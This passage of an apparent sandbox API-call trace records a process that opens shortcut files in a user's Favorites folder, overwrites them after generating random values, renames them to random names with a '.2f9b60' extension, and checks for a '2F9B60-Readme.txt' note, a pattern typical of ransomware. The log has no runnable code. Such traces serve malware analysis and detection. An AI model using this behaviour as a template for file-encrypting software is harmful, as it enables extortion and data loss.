(FileHandle=0x4ac, IoStatusBlock=0x3dc1fe38, FileInformation=0x3dc1fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fce70) returned 1 [0224.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5210) returned 1 [0224.533] FlushFileBuffers (hFile=0x4ac) returned 1 [0224.633] CloseHandle (hObject=0x4ac) returned 1 [0225.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202aca50 [0225.153] wcscpy (in: _Dest=0x202aca50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0225.153] wcscat (in: _Dest=0x202aca50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0225.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0225.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aca50) returned 1 [0225.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106ac0) returned 1 Thread: id = 2720 os_tid = 0x22ec [0157.835] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url")) returned 0x20 [0157.835] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", dwFileAttributes=0x20) returned 1 [0157.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x404 [0157.836] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x1ef1fbe0 | out: lpFileSize=0x1ef1fbe0*=133) returned 1 [0157.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501190 [0157.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1610 [0157.837] NtQuerySystemTime (in: CurrentTime=0x1ef1faa0 | out: CurrentTime=0x1ef1faa0*=132462177629650000) returned 0x0 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x2d3db1eb [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x27b12adf [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x47bf7521 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0xbf4596e [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x1b7a4a1c [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x373a6bca [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x5307d45e [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x3208b729 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x4b7ea5fd [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x31a88856 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x5eafa3c8 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x7f7b124 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x15bf4d37 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x1fe9dc11 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x1bf29ae1 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x6d0c7d0d [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x6eb482f1 [0157.837] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x17b162b8 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x69c28ba7 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x61c13310 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x4e7ef62 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x55181c67 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x193a5389 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x1166c9c8 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x157c35a0 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x45aaedc0 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x44d4afd3 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x286e5c34 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x71ed6280 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x3f75eea0 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x2cf16400 [0157.838] RtlRandomEx (in: Seed=0x1ef1fa90 | out: Seed=0x1ef1fa90) returned 0x5142071c [0157.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1640 [0157.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe900 [0157.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1670 [0157.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe900) returned 1 [0157.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1610) returned 1 [0157.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0157.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe900 [0157.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b57630 [0157.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b5b240 [0157.850] ReadFile (in: hFile=0x404, lpBuffer=0x42b57630, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x1ef1fa90, lpOverlapped=0x0 | out: lpBuffer=0x42b57630*, lpNumberOfBytesRead=0x1ef1fa90*=0x85, lpOverlapped=0x0) returned 1 [0157.852] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.852] WriteFile (hFile=0x404, lpBuffer=0x42b5b240, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x1ef1fa94, lpOverlapped=0x0) [0192.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e00 [0192.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ca0 [0192.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139ca0) returned 1 [0192.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b5b240) returned 1 [0192.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b57630) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe900) returned 1 [0192.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0192.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1ce5c9b0 [0192.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0192.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe900 [0192.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ca0 [0192.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139ca0) returned 1 [0192.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1ce5c9f0 [0192.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139ca0 [0192.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139cd0 [0192.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139cd0) returned 1 [0192.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe900) returned 1 [0192.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0192.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21980 [0192.758] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.758] WriteFile (in: hFile=0x404, lpBuffer=0x42c21980*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1ef1fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c21980*, lpNumberOfBytesWritten=0x1ef1fbb0*=0x11c, lpOverlapped=0x0) returned 1 [0207.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0207.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7c40 [0207.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7c40) returned 1 [0207.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431ac720 [0207.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7c40 [0207.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7c10 [0207.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7c10) returned 1 [0207.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0207.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0207.600] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="7c") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="18") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="95") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="83") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="60") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="b2") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="be") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="94") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="34") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="02") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="91") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="03") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="9c") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="28") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="d2") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="17") returned 2 [0207.600] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="63") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="0b") returned 2 [0207.600] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="f7") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="50") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="89") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="91") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="e9") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="35") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="0b") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.601] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="73") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="56") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.601] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="17") returned 2 [0207.601] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="ed") returned 2 [0207.601] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="c1") returned 2 [0207.601] RtlInitAnsiString (in: DestinationString=0x1ef1fc28, SourceString="7ce018958360b21a6dbe9434e20291039c28d2174a630bf750896f1d2a91e9352f8d0bd67356cc17edc1" | out: DestinationString="7ce018958360b21a6dbe9434e20291039c28d2174a630bf750896f1d2a91e9352f8d0bd67356cc17edc1") [0207.601] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef1fbf8, SourceString="7ce018958360b21a6dbe9434e20291039c28d2174a630bf750896f1d2a91e9352f8d0bd67356cc17edc1", AllocateDestinationString=1 | out: DestinationString="7ce018958360b21a6dbe9434e20291039c28d2174a630bf750896f1d2a91e9352f8d0bd67356cc17edc1") returned 0x0 [0207.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43129f20 [0207.602] wcscat (in: _Dest=0x43129e60, _Source="7ce018958360b21a6dbe9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9" [0207.602] wcscat (in: _Dest=0x43129e60, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9.2f9b60" [0207.602] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9.2f9b60", NtPathName=0x1ef1fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\7ce018958360b21a6dbe9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x43157440 [0227.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157440) returned 1 [0227.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a3670) returned 1 [0227.425] NtQueryInformationFile (in: FileHandle=0x404, IoStatusBlock=0x1ef1fc38, FileInformation=0x1ef1fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ef1fc38, FileInformation=0x1ef1fc48) returned 0x0 [0227.425] NtSetInformationFile (FileHandle=0x404, IoStatusBlock=0x1ef1fc38, FileInformation=0x1ef1fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43129e60) returned 1 [0235.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43129f20) returned 1 [0235.250] FlushFileBuffers (hFile=0x404) returned 1 [0238.168] CloseHandle (hObject=0x404) returned 1 [0240.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac160 [0240.405] wcscpy (in: _Dest=0x202ac160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0240.405] wcscat (in: _Dest=0x202ac160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0240.405] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0240.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 [0240.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64bb0) returned 1 Thread: id = 2721 os_tid = 0x22f0 [0157.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0157.853] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", dwFileAttributes=0x20) returned 1 [0157.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x498 [0157.854] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3dfbfde0 | out: lpFileSize=0x3dfbfde0*=133) returned 1 [0157.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1610 [0157.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac16a0 [0157.855] NtQuerySystemTime (in: CurrentTime=0x3dfbfca0 | out: CurrentTime=0x3dfbfca0*=132462177629806000) returned 0x0 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x4b3bb62e [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x722c3c24 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x5a827e66 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x19fb483a [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x28d1b606 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x594c9151 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x736de7c8 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x53d8ef97 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x1bc7c221 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x1e12b057 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x290ba2e4 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x6b95b0b3 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x22ca3ef4 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x18c0119e [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x663e74b9 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x389dc805 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x43e708c3 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x39c16204 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x3283f72f [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x52b3790 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x7d443a80 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x26187f2f [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x60375f40 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x3133e2b2 [0157.855] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0xef796ee [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x76d49d62 [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x2bacb632 [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x2973a798 [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x477c0eae [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x2dcab25e [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x6943dee6 [0157.856] RtlRandomEx (in: Seed=0x3dfbfc90 | out: Seed=0x3dfbfc90) returned 0x3c2697c6 [0157.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac16d0 [0157.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe980 [0157.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1700 [0157.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe980) returned 1 [0157.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac16a0) returned 1 [0157.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bca0 [0157.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe980 [0157.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b5ee50 [0157.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b62a60 [0157.866] ReadFile (in: hFile=0x498, lpBuffer=0x42b5ee50, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3dfbfc90, lpOverlapped=0x0 | out: lpBuffer=0x42b5ee50*, lpNumberOfBytesRead=0x3dfbfc90*=0x85, lpOverlapped=0x0) returned 1 [0157.867] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.867] WriteFile (in: hFile=0x498, lpBuffer=0x42b62a60*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3dfbfc94, lpOverlapped=0x0 | out: lpBuffer=0x42b62a60*, lpNumberOfBytesWritten=0x3dfbfc94*=0x85, lpOverlapped=0x0) returned 1 [0161.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5cf0 [0161.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d20 [0161.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d20) returned 1 [0161.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b62a60) returned 1 [0161.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b5ee50) returned 1 [0161.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe980) returned 1 [0161.839] RtlFreeHeap 